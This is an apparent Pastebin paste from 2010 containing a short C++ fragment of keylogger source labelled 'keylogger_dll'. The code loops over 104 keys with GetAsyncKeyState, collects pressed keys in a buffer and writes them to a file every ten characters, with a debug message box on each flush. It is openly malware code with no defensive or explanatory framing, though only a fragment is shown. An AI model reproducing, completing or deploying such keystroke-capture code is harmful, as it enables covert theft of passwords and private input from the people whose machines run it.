captmicro

Untitled

Mar 3rd, 2010
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.39 KB | None | 0 0
  1. while (1)
  2.     {
  3.         for (index=0; index<104; index++)
  4.         {
  5.             key = GetAsyncKeyState(keys[index]);
  6.             if (key) {
  7.                 buffer[lstrlen(buffer)] = keys[index];
  8.                 if (buffer[10] != 0x00) {
  9.                     WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
  10.                     lmemset(buffer, 0, sizeof(buffer)); //Clear buffer
  11.                     MessageBoxA(0, "Log buffer cleared", "keylogger_dll", MB_OK);
  12.                 }
  13.             }
  14.         }
  15.     }
Add Comment
Please, Sign In to add comment